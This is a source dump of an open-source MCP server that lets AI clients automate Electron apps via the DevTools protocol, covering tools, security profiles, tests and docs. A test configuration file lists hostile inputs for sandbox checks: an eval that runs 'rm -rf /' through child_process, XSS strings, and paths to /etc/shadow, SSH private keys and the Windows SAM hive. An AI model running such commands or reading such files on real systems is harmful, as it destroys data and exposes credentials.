-------------------------------------------------------------------------------- ```typescript import { ChildProcess } from 'child_process'; // Electron process management state export let electronProcess: ChildProcess | null = null; export let electronLogs: string[] = []; /** * Set the current Electron process reference */ export function setElectronProcess(process: ChildProcess | null): void { electronProcess = process; } /** * Get the current Electron process reference */ export function getElectronProcess(): ChildProcess | null { return electronProcess; } /** * Add a log entry to the Electron logs */ export function addElectronLog(log: string): void { electronLogs.push(log); // Keep only the last 1000 logs to prevent memory issues if (electronLogs.length > 1000) { electronLogs = electronLogs.slice(-1000); } } /** * Get all Electron logs */ export function getElectronLogs(): string[] { return electronLogs; } /** * Clear all Electron logs */ export function clearElectronLogs(): void { electronLogs = []; } /** * Reset the Electron process state */ export function resetElectronProcess(): void { electronProcess = null; electronLogs = []; } ``` -------------------------------------------------------------------------------- /vitest.config.ts: -------------------------------------------------------------------------------- ```typescript import { defineConfig } from 'vitest/config'; import { resolve } from 'path'; import { config } from 'dotenv'; // Load environment variables from .env file config(); export default defineConfig({ test: { globals: true, environment: 'node', setupFiles: ['./tests/conftest.ts'], include: ['tests/**/*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}'], exclude: [ '**/node_modules/**', '**/dist/**', '**/cypress/**', '**/.{idea,git,cache,output,temp}/**', '**/{karma,rollup,webpack,vite,vitest,jest,ava,babel,nyc,cypress,tsup,build}.config.*', '**/setup.ts', // Exclude setup file from being run as a test ], coverage: { provider: 'v8', reporter: ['text', 'json', 'html'], exclude: [ 'node_modules/', 'test/', 'dist/', 'example-app/', '**/*.d.ts', '**/*.config.*', '**/coverage/**', ], }, testTimeout: 10000, hookTimeout: 10000, teardownTimeout: 5000, }, resolve: { alias: { '@': resolve(__dirname, './src'), '@test': resolve(__dirname, './test'), }, }, }); ``` -------------------------------------------------------------------------------- /tests/integration/react-compatibility/test-react-electron.cjs: -------------------------------------------------------------------------------- ``` const { app, BrowserWindow } = require('electron'); let mainWindow; function createWindow() { mainWindow = new BrowserWindow({ width: 900, height: 700, webPreferences: { nodeIntegration: false, contextIsolation: true, enableRemoteModule: false, webSecurity: true }, show: false }); // Load the React test app mainWindow.loadFile('react-test-app.html'); // Show window when ready mainWindow.once('ready-to-show', () => { mainWindow.show(); }); // Open DevTools for debugging mainWindow.webContents.openDevTools(); mainWindow.on('closed', () => { mainWindow = null; }); } // Enable remote debugging for MCP server app.commandLine.appendSwitch('remote-debugging-port', '9222'); app.whenReady().then(() => { createWindow(); }); app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit(); } }); app.on('activate', () => { if (BrowserWindow.getAllWindows().length === 0) { createWindow(); } }); // Handle errors silently process.on('uncaughtException', () => { // Handle error silently }); process.on('unhandledRejection', () => { // Handle error silently }); ``` -------------------------------------------------------------------------------- /src/utils/logger.ts: -------------------------------------------------------------------------------- ```typescript /* eslint-disable no-console */ export enum LogLevel { ERROR = 0, WARN = 1, INFO = 2, DEBUG = 3, } export class Logger { private static instance: Logger; private level: LogLevel; constructor(level: LogLevel = LogLevel.INFO) { this.level = level; } static getInstance(): Logger { if (!Logger.instance) { // Check environment variable for log level const envLevel = process.env.MCP_LOG_LEVEL?.toUpperCase(); let level = LogLevel.INFO; switch (envLevel) { case 'ERROR': level = LogLevel.ERROR; break; case 'WARN': level = LogLevel.WARN; break; case 'INFO': level = LogLevel.INFO; break; case 'DEBUG': level = LogLevel.DEBUG; break; } Logger.instance = new Logger(level); } return Logger.instance; } setLevel(level: LogLevel) { this.level = level; } error(message: string, ...args: any[]) { if (this.level >= LogLevel.ERROR) { console.error(`[MCP] ERROR: ${message}`, ...args); } } warn(message: string, ...args: any[]) { if (this.level >= LogLevel.WARN) { console.error(`[MCP] WARN: ${message}`, ...args); } } info(message: string, ...args: any[]) { if (this.level >= LogLevel.INFO) { console.error(`[MCP] INFO: ${message}`, ...args); } } debug(message: string, ...args: any[]) { if (this.level >= LogLevel.DEBUG) { console.error(`[MCP] DEBUG: ${message}`, ...args); } } // Helper method to check if a certain level is enabled isEnabled(level: LogLevel): boolean { return this.level >= level; } } // Export singleton instance export const logger = Logger.getInstance(); ``` -------------------------------------------------------------------------------- /tests/support/setup.ts: -------------------------------------------------------------------------------- ```typescript import { logger } from '../../src/utils/logger'; import { TestHelpers } from './helpers'; import { TEST_CONFIG } from './config'; import { mkdirSync, existsSync } from 'fs'; /** * Global test setup and teardown * Handles initialization and cleanup that applies to all tests */ export class GlobalTestSetup { /** * Initialize global test environment * Called once before all tests run */ static async initialize(): Promise<void> { logger.info('🚀 Starting test suite - Global setup'); try { // Ensure test directories exist this.ensureTestDirectories(); // Clean up any leftover artifacts from previous runs await TestHelpers.cleanup(); logger.info('📁 Test resource directories initialized'); } catch (error) { logger.error('Failed to initialize test environment:', error); throw error; } } /** * Clean up global test environment * Called once after all tests complete */ static async cleanup(): Promise<void> { logger.info('🏁 Test suite completed - Global cleanup'); try { const { total } = TestHelpers.getCleanupSize(); const totalMB = (total / (1024 * 1024)).toFixed(2); logger.info(`🧹 Cleaning up ${totalMB}MB of test artifacts`); // Perform comprehensive cleanup await TestHelpers.cleanup({ removeLogsDir: true, removeTempDir: true, preserveKeys: false, }); logger.info('✅ Global test cleanup completed successfully'); } catch (error) { logger.error('Failed to cleanup test environment:', error); // Don't throw - cleanup failures shouldn't break the test process } } /** * Ensure all required test directories exist */ private static ensureTestDirectories(): void { Object.values(TEST_CONFIG.PATHS).forEach((dirPath) => { if (!existsSync(dirPath)) { mkdirSync(dirPath, { recursive: true }); } }); } } ``` -------------------------------------------------------------------------------- /tests/unit/security-manager.test.ts: -------------------------------------------------------------------------------- ```typescript import { describe, it, expect, beforeEach } from 'vitest'; import { SecurityManager } from '../../src/security/manager'; import { SecurityLevel } from '../../src/security/config'; import { TEST_CONFIG } from '../conftest'; describe('SecurityManager Unit Tests', () => { describe('shouldSandboxCommand', () => { let securityManager: SecurityManager; beforeEach(() => { securityManager = new SecurityManager(); }); it('should sandbox risky commands', () => { TEST_CONFIG.SECURITY.RISKY_COMMANDS.forEach((command) => { const result = securityManager.shouldSandboxCommand(command); expect(result).toBe(true); }); }); it('should not sandbox simple command names', () => { const simpleCommands = ['get_window_info', 'take_screenshot', 'get_title', 'get_url']; simpleCommands.forEach((command) => { const result = securityManager.shouldSandboxCommand(command); expect(result).toBe(false); }); }); it('should cache results for performance', () => { const command = 'test_command'; // First call const result1 = securityManager.shouldSandboxCommand(command); // Second call should use cache const result2 = securityManager.shouldSandboxCommand(command); expect(result1).toBe(result2); }); }); describe('Security Level Configuration', () => { it('should default to BALANCED security level', () => { const securityManager = new SecurityManager(); expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.BALANCED); }); it('should allow security level changes', () => { const securityManager = new SecurityManager(); securityManager.setSecurityLevel(SecurityLevel.PERMISSIVE); expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.PERMISSIVE); securityManager.setSecurityLevel(SecurityLevel.STRICT); expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.STRICT); }); }); }); ``` -------------------------------------------------------------------------------- /tests/support/config.ts: -------------------------------------------------------------------------------- ```typescript import path from 'path'; /** * Centralized test configuration * Contains all test constants, paths, and configuration values */ export const TEST_CONFIG = { // Test resource directories PATHS: { TEMP_DIR: path.join(process.cwd(), 'temp'), TEST_TEMP_DIR: path.join(process.cwd(), 'test-temp'), LOGS_DIR: path.join(process.cwd(), 'logs'), ELECTRON_APPS_DIR: path.join(process.cwd(), 'temp', 'electron-apps'), }, // Test timeouts and limits TIMEOUTS: { ELECTRON_START: 10000, SCREENSHOT_CAPTURE: 5000, DEFAULT_TEST: 30000, }, // Security test data SECURITY: { RISKY_COMMANDS: [ 'eval:require("fs").writeFileSync("/tmp/test", "malicious")', 'eval:process.exit(1)', 'eval:require("child_process").exec("rm -rf /")', 'eval:Function("return process")().exit(1)', 'eval:window.location = "javascript:alert(1)"', 'eval:document.write("<script>alert(1)</script>")', ], MALICIOUS_PATHS: [ '../../../etc/passwd', '/etc/shadow', '~/.ssh/id_rsa', 'C:\\Windows\\System32\\config\\SAM', '/var/log/auth.log', '~/.bashrc', ], }, // Electron test app configuration ELECTRON: { DEFAULT_PORT_RANGE: [9300, 9400], WINDOW_TITLE: 'Test Electron App', HTML_CONTENT: ` <!DOCTYPE html> <html> <head> <title>Test Electron App</title> </head> <body> <h1>Test Application</h1> <button id="test-button">Test Button</button> <input id="test-input" placeholder="Test input" /> <select id="test-select"> <option value="option1">Option 1</option> <option value="option2">Option 2</option> </select> </body> </html> `, }, } as const; /** * Create a test-specific temporary directory path */ export function createTestTempPath(testName?: string): string { const timestamp = Date.now(); const suffix = testName ? `-${testName.replace(/[^a-zA-Z0-9]/g, '-')}` : ''; return path.join(TEST_CONFIG.PATHS.TEST_TEMP_DIR, `test-${timestamp}${suffix}`); } /** * Create an Electron app directory path */ export function createElectronAppPath(port: number): string { return path.join(TEST_CONFIG.PATHS.ELECTRON_APPS_DIR, `test-electron-${Date.now()}-${port}`); } ``` -------------------------------------------------------------------------------- /src/schemas.ts: -------------------------------------------------------------------------------- ```typescript import { z } from 'zod'; // Command arguments schema for better type safety and documentation export const CommandArgsSchema = z .object({ selector: z .string() .optional() .describe( 'CSS selector for targeting elements (required for click_by_selector, click_button)', ), text: z .string() .optional() .describe( 'Text content for searching or keyboard input (required for click_by_text, send_keyboard_shortcut)', ), value: z .string() .optional() .describe('Value to input into form fields (required for fill_input)'), placeholder: z .string() .optional() .describe( 'Placeholder text to identify input fields (alternative to selector for fill_input)', ), message: z.string().optional().describe('Message or content for specific commands'), code: z.string().optional().describe('JavaScript code to execute (for eval command)'), }) .describe('Command-specific arguments. Structure depends on the command being executed.'); // Schema definitions for tool inputs export const SendCommandToElectronSchema = z.object({ command: z.string().describe('Command to send to the Electron process'), args: CommandArgsSchema.optional().describe( 'Arguments for the command - must be an object with appropriate properties based on the command type', ), }); export const TakeScreenshotSchema = z.object({ outputPath: z .string() .optional() .describe('Path to save the screenshot (optional, defaults to temp directory)'), windowTitle: z.string().optional().describe('Specific window title to screenshot (optional)'), }); export const ReadElectronLogsSchema = z.object({ logType: z .enum(['console', 'main', 'renderer', 'all']) .optional() .describe('Type of logs to read'), lines: z.number().optional().describe('Number of recent lines to read (default: 100)'), follow: z.boolean().optional().describe('Whether to follow/tail the logs'), }); export const GetElectronWindowInfoSchema = z.object({ includeChildren: z.boolean().optional().describe('Include child windows information'), }); // Type helper for tool input schema export type ToolInput = { type: 'object'; properties: Record<string, any>; required?: string[]; }; ``` -------------------------------------------------------------------------------- /SECURITY_CONFIG.md: -------------------------------------------------------------------------------- ```markdown # MCP Security Configuration The MCP Electron server uses a **BALANCED** security level that provides an optimal balance between security and functionality. ## Security Level: BALANCED (Default) The server automatically uses the BALANCED security level, which: - Allows safe UI interactions and DOM queries - Blocks dangerous operations like eval and assignments - Provides good balance between security and functionality - Cannot be overridden by environment variables for security consistency ## Security Features - ✅ Safe UI interactions (clicking, focusing elements) - ✅ DOM queries (reading element properties) - ✅ Property access (reading values) - ❌ Assignment operations (security risk) - ❌ Function calls in eval (injection risk) - ❌ Constructor calls (potential exploit vector) ## Usage Examples Based on your logs, you want to interact with UI elements. Use these secure commands instead of raw eval: ### ✅ Secure Ways to Interact: ```javascript // Instead of: document.querySelector('button').click() command: 'click_by_selector'; args: { selector: "button[title='Create New Encyclopedia']"; } // Instead of: document.querySelector('[title="Create New Encyclopedia"]').click() command: 'click_by_text'; args: { text: 'Create New Encyclopedia'; } // Instead of: location.hash = '#create' command: 'navigate_to_hash'; args: { text: 'create'; } // Instead of: new KeyboardEvent('keydown', {...}) command: 'send_keyboard_shortcut'; args: { text: 'Ctrl+N'; } ``` ### ❌ What Gets Blocked (and why): ```javascript // ❌ Raw function calls in eval document.querySelector('[title="Create New Encyclopedia"]').click(); // Reason: Function calls are restricted for security // ❌ Assignment operations location.hash = '#create'; // Reason: Assignment operations can be dangerous // ❌ Constructor calls new KeyboardEvent('keydown', { key: 'n', metaKey: true }); // Reason: Constructor calls can be used for code injection ``` ## Configuration in Code The security level is automatically set to BALANCED and cannot be changed: ```typescript import { SecurityManager } from './security/manager'; // SecurityManager automatically uses BALANCED security level const securityManager = new SecurityManager(); // Security level is fixed and cannot be changed at runtime // This ensures consistent security across all deployments ``` ``` -------------------------------------------------------------------------------- /src/index.ts: -------------------------------------------------------------------------------- ```typescript #!/usr/bin/env node // Load environment variables from .env file import { config } from 'dotenv'; import { Server } from '@modelcontextprotocol/sdk/server/index'; import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio'; import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types'; import { tools } from './tools'; import { handleToolCall } from './handlers'; import { logger } from './utils/logger'; config(); // Create MCP server instance const server = new Server( { name: 'electron-mcp-server', version: '1.0.0', }, { capabilities: { tools: {}, }, }, ); // List available tools server.setRequestHandler(ListToolsRequestSchema, async () => { logger.debug('Listing tools request received'); return { tools }; }); // Handle tool execution server.setRequestHandler(CallToolRequestSchema, async (request) => { const start = Date.now(); logger.info(`Tool call: ${request.params.name}`); logger.debug(`Tool call args:`, JSON.stringify(request.params.arguments, null, 2)); const result = await handleToolCall(request); const duration = Date.now() - start; if (duration > 1000) { logger.warn(`Slow tool execution: ${request.params.name} took ${duration}ms`); } // Log result but truncate large base64 data to avoid spam if (logger.isEnabled(2)) { // Only if DEBUG level const logResult = { ...result }; if (logResult.content && Array.isArray(logResult.content)) { logResult.content = logResult.content.map((item: any) => { if ( item.type === 'text' && item.text && typeof item.text === 'string' && item.text.length > 1000 ) { return { ...item, text: item.text.substring(0, 100) + '... [truncated]', }; } if ( item.type === 'image' && item.data && typeof item.data === 'string' && item.data.length > 100 ) { return { ...item, data: item.data.substring(0, 50) + '... [base64 truncated]', }; } return item; }); } logger.debug(`Tool call result:`, JSON.stringify(logResult, null, 2)); } return result; }); // Start the server async function main() { const transport = new StdioServerTransport(); logger.info('Electron MCP Server starting...'); await server.connect(transport); logger.info('Electron MCP Server running on stdio'); logger.info('Available tools:', tools.map((t) => t.name).join(', ')); } main().catch((error) => { logger.error('Server error:', error); process.exit(1); }); ``` -------------------------------------------------------------------------------- /src/tools.ts: -------------------------------------------------------------------------------- ```typescript import { zodToJsonSchema } from 'zod-to-json-schema'; import { SendCommandToElectronSchema, TakeScreenshotSchema, ReadElectronLogsSchema, GetElectronWindowInfoSchema, ToolInput, } from './schemas'; // Tool name enumeration export enum ToolName { SEND_COMMAND_TO_ELECTRON = 'send_command_to_electron', TAKE_SCREENSHOT = 'take_screenshot', READ_ELECTRON_LOGS = 'read_electron_logs', GET_ELECTRON_WINDOW_INFO = 'get_electron_window_info', } // Define tools available to the MCP server export const tools = [ { name: ToolName.GET_ELECTRON_WINDOW_INFO, description: 'Get information about running Electron applications and their windows. Automatically detects any Electron app with remote debugging enabled (port 9222).', inputSchema: zodToJsonSchema(GetElectronWindowInfoSchema) as ToolInput, }, { name: ToolName.TAKE_SCREENSHOT, description: 'Take a screenshot of any running Electron application window. Returns base64 image data for AI analysis. No files created unless outputPath is specified.', inputSchema: zodToJsonSchema(TakeScreenshotSchema) as ToolInput, }, { name: ToolName.SEND_COMMAND_TO_ELECTRON, description: `Send JavaScript commands to any running Electron application via Chrome DevTools Protocol. Enhanced UI interaction commands: - 'find_elements': Analyze all interactive elements (buttons, inputs, selects) with their properties - 'click_by_text': Click elements by their visible text, aria-label, or title - 'click_by_selector': Securely click elements by CSS selector - 'fill_input': Fill input fields by selector, placeholder text, or associated label - 'select_option': Select dropdown options by value or text - 'send_keyboard_shortcut': Send keyboard shortcuts like 'Ctrl+N', 'Meta+N', 'Enter', 'Escape' - 'navigate_to_hash': Safely navigate to hash routes (e.g., '#create', '#settings') - 'get_page_structure': Get organized overview of page elements (buttons, inputs, selects, links) - 'debug_elements': Get debugging info about buttons and form elements on the page - 'verify_form_state': Check current form state and validation status - 'get_title', 'get_url', 'get_body_text': Basic page information - 'eval': Execute custom JavaScript code with enhanced error reporting IMPORTANT: Arguments must be passed as an object with the correct properties: Examples: - click_by_selector: {"selector": "button.submit-btn"} - click_by_text: {"text": "Submit"} - fill_input: {"placeholder": "Enter name", "value": "John Doe"} - fill_input: {"selector": "#email", "value": "[email protected]"} - send_keyboard_shortcut: {"text": "Enter"} - eval: {"code": "document.title"} Use 'get_page_structure' or 'debug_elements' first to understand available elements, then use specific interaction commands.`, inputSchema: zodToJsonSchema(SendCommandToElectronSchema) as ToolInput, }, { name: ToolName.READ_ELECTRON_LOGS, description: 'Read console logs and output from running Electron applications. Useful for debugging and monitoring app behavior.', inputSchema: zodToJsonSchema(ReadElectronLogsSchema) as ToolInput, }, ]; ``` -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- ```json { "name": "electron-mcp-server", "version": "1.5.0", "description": "MCP server for Electron application automation and management. See MCP_USAGE_GUIDE.md for proper argument structure examples.", "main": "dist/index.js", "bin": { "electron-mcp-server": "dist/index.js" }, "scripts": { "build": "webpack --config webpack.config.ts --mode production", "build:dev": "webpack --config webpack.config.ts --mode development", "dev": "tsx src/index.ts", "dev:watch": "tsx --watch src/index.ts", "start": "node dist/index.js", "watch": "webpack --config webpack.config.ts --mode development --watch", "watch-and-serve": "webpack --config webpack.config.ts --mode development --watch & node --watch dist/index.js", "prepare": "npm run build", "test": "vitest run", "test:watch": "vitest", "test:ui": "vitest --ui", "test:react": "cd tests/integration/react-compatibility && electron test-react-electron.cjs", "test:coverage": "vitest run --coverage", "test:security": "npm run build && node test/security-test.js", "test:clean": "tsx -e \"import('./test/utils/cleanup.js').then(m => m.TestCleanup.cleanup())\"", "lint": "eslint src/**/*.ts", "lint:fix": "eslint src/**/*.ts --fix", "format": "prettier --write \"src/**/*.{ts,js,json,md}\"", "format:check": "prettier --check \"src/**/*.{ts,js,json,md}\"", "code:check": "npm run lint && npm run format:check", "code:fix": "npm run lint:fix && npm run format" }, "keywords": [ "mcp", "electron", "automation", "desktop", "model-context-protocol", "devtools", "testing", "ai", "chrome-devtools-protocol", "screenshot", "electron-automation" ], "author": "Halil Ural", "license": "MIT", "dependencies": { "@modelcontextprotocol/sdk": "^1.0.0", "@types/ws": "^8.18.1", "dotenv": "^17.2.1", "electron": "^28.0.0", "playwright": "^1.54.1", "ws": "^8.18.3", "zod": "^3.22.4", "zod-to-json-schema": "^3.22.4" }, "devDependencies": { "@eslint/js": "^9.32.0", "@types/node": "^20.19.10", "@types/webpack": "^5.28.5", "@types/webpack-node-externals": "^3.0.4", "@typescript-eslint/eslint-plugin": "^8.38.0", "@typescript-eslint/parser": "^8.38.0", "@vitest/coverage-v8": "^3.2.4", "@vitest/ui": "^3.2.4", "eslint": "^9.32.0", "globals": "^16.3.0", "jest": "^29.0.0", "jiti": "^2.5.1", "prettier": "^3.6.2", "ts-jest": "^29.0.0", "ts-loader": "^9.5.2", "ts-node": "^10.9.2", "tsx": "^4.6.0", "typescript": "^5.8.3", "typescript-eslint": "^8.38.0", "vitest": "^3.2.4", "webpack": "^5.101.0", "webpack-cli": "^6.0.1", "webpack-node-externals": "^3.0.0" }, "files": [ "dist", "README.md", "LICENSE" ], "engines": { "node": ">=18.0.0" }, "repository": { "type": "git", "url": "git+https://github.com/halilural/electron-mcp-server.git" }, "bugs": { "url": "https://github.com/halilural/electron-mcp-server/issues" }, "homepage": "https://github.com/halilural/electron-mcp-server#readme" } ``` -------------------------------------------------------------------------------- /mcp-config.json: -------------------------------------------------------------------------------- ```json { "name": "electron-mcp-server", "description": "Model Context Protocol server for Electron application management", "version": "1.0.0", "usage": { "claude_desktop": { "config_path": "~/Library/Application Support/Claude/claude_desktop_config.json", "config": { "mcpServers": { "electron": { "command": "npx", "args": ["-y", "electron-mcp-server"] } } } }, "vscode": { "config": { "mcp": { "servers": { "electron": { "command": "npx", "args": ["-y", "electron-mcp-server"] } } } } } }, "tools": [ { "name": "launch_electron_app", "description": "Launch an Electron application from a specified path", "parameters": { "appPath": { "type": "string", "description": "Path to the Electron application", "required": true }, "args": { "type": "array", "description": "Additional command line arguments", "required": false }, "devMode": { "type": "boolean", "description": "Launch in development mode with debugging", "required": false } } }, { "name": "close_electron_app", "description": "Close the currently running Electron application", "parameters": { "force": { "type": "boolean", "description": "Force close the application if unresponsive", "required": false } } }, { "name": "get_electron_info", "description": "Get information about the Electron installation and environment", "parameters": {} }, { "name": "create_electron_project", "description": "Create a new Electron project with a basic structure", "parameters": { "projectName": { "type": "string", "description": "Name of the new project", "required": true }, "projectPath": { "type": "string", "description": "Directory where to create the project", "required": true }, "template": { "type": "string", "description": "Project template (basic, react, vue, angular)", "required": false, "default": "basic" } } }, { "name": "build_electron_app", "description": "Build an Electron application for distribution", "parameters": { "projectPath": { "type": "string", "description": "Path to the Electron project", "required": true }, "platform": { "type": "string", "description": "Target platform (win32, darwin, linux)", "required": false }, "arch": { "type": "string", "description": "Target architecture (x64, arm64, ia32)", "required": false }, "debug": { "type": "boolean", "description": "Build in debug mode", "required": false } } }, { "name": "get_electron_process_info", "description": "Get information about the currently running Electron process", "parameters": {} }, { "name": "send_command_to_electron", "description": "Send commands to the running Electron application (requires IPC setup)", "parameters": { "command": { "type": "string", "description": "Command to send", "required": true }, "args": { "type": "any", "description": "Command arguments", "required": false } } } ] } ``` -------------------------------------------------------------------------------- /src/utils/electron-logs.ts: -------------------------------------------------------------------------------- ```typescript import { exec } from 'child_process'; import { promisify } from 'util'; import { findElectronTarget, connectForLogs } from './electron-connection'; import { logger } from './logger'; export type LogType = 'console' | 'main' | 'renderer' | 'all'; export interface LogEntry { timestamp: string; level: string; message: string; source: 'console' | 'system'; } /** * Read logs from running Electron applications */ export async function readElectronLogs( logType: LogType = 'all', lines: number = 100, follow: boolean = false, ): Promise<string> { try { logger.info('[MCP] Looking for running Electron applications for log access...'); try { const target = await findElectronTarget(); // Connect via WebSocket to get console logs if (logType === 'console' || logType === 'all') { return await getConsoleLogsViaDevTools(target, lines, follow); } } catch { logger.info('[MCP] No DevTools connection found, checking system logs...'); } // Fallback to system logs if DevTools not available return await getSystemElectronLogs(lines); } catch (error) { throw new Error( `Failed to read logs: ${error instanceof Error ? error.message : String(error)}`, ); } } /** * Get console logs via Chrome DevTools Protocol */ async function getConsoleLogsViaDevTools( target: any, lines: number, follow: boolean, ): Promise<string> { const logs: string[] = []; return new Promise((resolve, reject) => { (async () => { try { const ws = await connectForLogs(target, (log: string) => { logs.push(log); if (logs.length >= lines && !follow) { ws.close(); resolve(logs.slice(-lines).join('\n')); } }); // For non-follow mode, try to get console history first if (!follow) { // Request console API calls from Runtime ws.send( JSON.stringify({ id: 99, method: 'Runtime.evaluate', params: { expression: `console.log("Reading console history for MCP test"); "History checked"`, includeCommandLineAPI: true, }, }), ); // Wait longer for logs to be captured and history to be available setTimeout(() => { ws.close(); resolve(logs.length > 0 ? logs.slice(-lines).join('\n') : 'No console logs available'); }, 7000); // Increased timeout to 7 seconds } } catch (error) { reject(error); } })(); }); } /** * Get system logs for Electron processes */ async function getSystemElectronLogs(lines: number = 100): Promise<string> { logger.info('[MCP] Reading system logs for Electron processes...'); try { const execAsync = promisify(exec); // Get running Electron processes const { stdout } = await execAsync('ps aux | grep -i electron | grep -v grep'); const electronProcesses = stdout .trim() .split('\n') .filter((line) => line.length > 0); if (electronProcesses.length === 0) { return 'No Electron processes found running on the system.'; } let logOutput = `Found ${electronProcesses.length} Electron process(es):\n\n`; electronProcesses.forEach((process, index) => { const parts = process.trim().split(/\s+/); const pid = parts[1]; const command = parts.slice(10).join(' '); logOutput += `Process ${index + 1}:\n`; logOutput += ` PID: ${pid}\n`; logOutput += ` Command: ${command}\n\n`; }); try { const { stdout: logContent } = await execAsync( `log show --last 1h --predicate 'process == "Electron"' --style compact | tail -${lines}`, ); if (logContent.trim()) { logOutput += 'Recent Electron logs from system:\n'; logOutput += '==========================================\n'; logOutput += logContent; } else { logOutput += 'No recent Electron logs found in system logs. Try enabling remote debugging with --remote-debugging-port=9222 for better log access.'; } } catch { logOutput += 'Could not access system logs. For detailed logging, start Electron app with --remote-debugging-port=9222'; } return logOutput; } catch (error) { return `Error reading system logs: ${error instanceof Error ? error.message : String(error)}`; } } ``` -------------------------------------------------------------------------------- /src/security/config.ts: -------------------------------------------------------------------------------- ```typescript import { SecurityConfig } from './manager'; import { logger } from '../utils/logger'; export enum SecurityLevel { STRICT = 'strict', // Maximum security - blocks most function calls BALANCED = 'balanced', // Default - allows safe UI interactions PERMISSIVE = 'permissive', // Minimal restrictions - allows more operations DEVELOPMENT = 'development', // Least restrictive - for development/testing } /** * Represents a security profile configuration for controlling access and interactions within the application. * * @property level - The security level applied to the profile. * @property allowUIInteractions - Indicates if UI interactions are permitted. * @property allowDOMQueries - Indicates if DOM queries are allowed. * @property allowPropertyAccess - Indicates if property access is permitted. * @property allowAssignments - Indicates if assignments to properties are allowed. * @property allowFunctionCalls - Whitelist of allowed function patterns for invocation. * @property riskThreshold - The risk threshold level ('low', 'medium', 'high', or 'critical') for the profile. */ export interface SecurityProfile { level: SecurityLevel; allowUIInteractions: boolean; allowDOMQueries: boolean; allowPropertyAccess: boolean; allowAssignments: boolean; allowFunctionCalls: string[]; // Whitelist of allowed function patterns riskThreshold: 'low' | 'medium' | 'high' | 'critical'; } export const SECURITY_PROFILES: Record<SecurityLevel, SecurityProfile> = { [SecurityLevel.STRICT]: { level: SecurityLevel.STRICT, allowUIInteractions: false, allowDOMQueries: false, allowPropertyAccess: true, allowAssignments: false, allowFunctionCalls: [], riskThreshold: 'low', }, [SecurityLevel.BALANCED]: { level: SecurityLevel.BALANCED, allowUIInteractions: true, allowDOMQueries: true, allowPropertyAccess: true, allowAssignments: false, allowFunctionCalls: [ 'querySelector', 'querySelectorAll', 'getElementById', 'getElementsByClassName', 'getElementsByTagName', 'getComputedStyle', 'getBoundingClientRect', 'focus', 'blur', 'scrollIntoView', 'dispatchEvent', ], riskThreshold: 'medium', }, [SecurityLevel.PERMISSIVE]: { level: SecurityLevel.PERMISSIVE, allowUIInteractions: true, allowDOMQueries: true, allowPropertyAccess: true, allowAssignments: true, allowFunctionCalls: [ 'querySelector', 'querySelectorAll', 'getElementById', 'getElementsByClassName', 'getElementsByTagName', 'getComputedStyle', 'getBoundingClientRect', 'focus', 'blur', 'scrollIntoView', 'dispatchEvent', 'click', 'submit', 'addEventListener', 'removeEventListener', ], riskThreshold: 'high', }, [SecurityLevel.DEVELOPMENT]: { level: SecurityLevel.DEVELOPMENT, allowUIInteractions: true, allowDOMQueries: true, allowPropertyAccess: true, allowAssignments: true, allowFunctionCalls: ['*'], // Allow all function calls riskThreshold: 'critical', }, }; export function getSecurityConfig( level: SecurityLevel = SecurityLevel.BALANCED, ): Partial<SecurityConfig> { const profile = SECURITY_PROFILES[level]; return { defaultRiskThreshold: profile.riskThreshold, enableInputValidation: true, enableAuditLog: true, enableSandbox: level !== SecurityLevel.DEVELOPMENT, enableScreenshotEncryption: level !== SecurityLevel.DEVELOPMENT, }; } /** * Get the default security level from environment variable or fallback to BALANCED * Environment variable: SECURITY_LEVEL * Valid values: strict, balanced, permissive, development */ export function getDefaultSecurityLevel(): SecurityLevel { const envSecurityLevel = process.env.SECURITY_LEVEL; if (envSecurityLevel) { const normalizedLevel = envSecurityLevel.toLowerCase(); // Check if the provided value is a valid SecurityLevel if (Object.values(SecurityLevel).includes(normalizedLevel as SecurityLevel)) { logger.info(`Using security level from environment: ${normalizedLevel}`); return normalizedLevel as SecurityLevel; } else { logger.warn(`Invalid security level in environment variable: ${envSecurityLevel}. Valid values are: ${Object.values(SecurityLevel).join(', ')}. Falling back to BALANCED.`); } } logger.info('Using BALANCED security level (default)'); return SecurityLevel.BALANCED; } ``` -------------------------------------------------------------------------------- /ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- ```markdown # Bug Report Template When reporting bugs with the Electron MCP Server, please include the following technical details to help developers understand and reproduce the issue. ## Basic Information - **MCP Server Version**: `[email protected]` - **Node.js Version**: `node --version` - **Electron Version**: `electron --version` - **Operating System**: Windows/macOS/Linux - **Security Level**: STRICT/BALANCED/PERMISSIVE/DEVELOPMENT ## Bug Description ### Expected Behavior What should happen when the command is executed. ### Actual Behavior What actually happens, including any error messages. ## Reproduction Steps ### 1. MCP Command Structure **Tool Name**: `tool_name` **Method**: `tools/call` **Arguments Structure**: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "tool_name", "arguments": { "command": "command_name", "args": { "parameter": "value" } } } } ``` ### 2. Full Command Example ```bash echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Button Text"}}}}' | node dist/index.js ``` ### 3. Error Output ``` [MCP] ERROR: Error message here {"result":{"content":[{"type":"text","text":"❌ Error: Detailed error message"}],"isError":true},"jsonrpc":"2.0","id":1} ``` ### 4. Expected Output ``` [MCP] INFO: Success message here {"result":{"content":[{"type":"text","text":"✅ Result: Success message"}],"isError":false},"jsonrpc":"2.0","id":1} ``` ## Technical Context ### Target Application - **Application Type**: React/Vue/Angular/Vanilla JS - **Framework Version**: React 18, Vue 3, etc. - **Electron Remote Debugging**: Port 9222 enabled - **DevTools Available**: Yes/No ### Environment Setup ```bash # Commands to reproduce the environment npm install npm run build npm run start ``` ### Application State - **Page URL**: `file:///path/to/app.html` or `http://localhost:3000` - **DOM Elements**: Provide `get_page_structure` output if relevant - **Console Errors**: Any JavaScript errors in the target application ## Additional Information ### Related Files - Source code files involved - Configuration files - Log files ### Debugging Attempts What you've already tried to fix the issue. ### Screenshots Include screenshots of the application state, if helpful. --- ## Example Bug Reports ### Example 1: Click Command Failure **Bug**: Click commands fail on React components with preventDefault **MCP Command**: ```bash echo 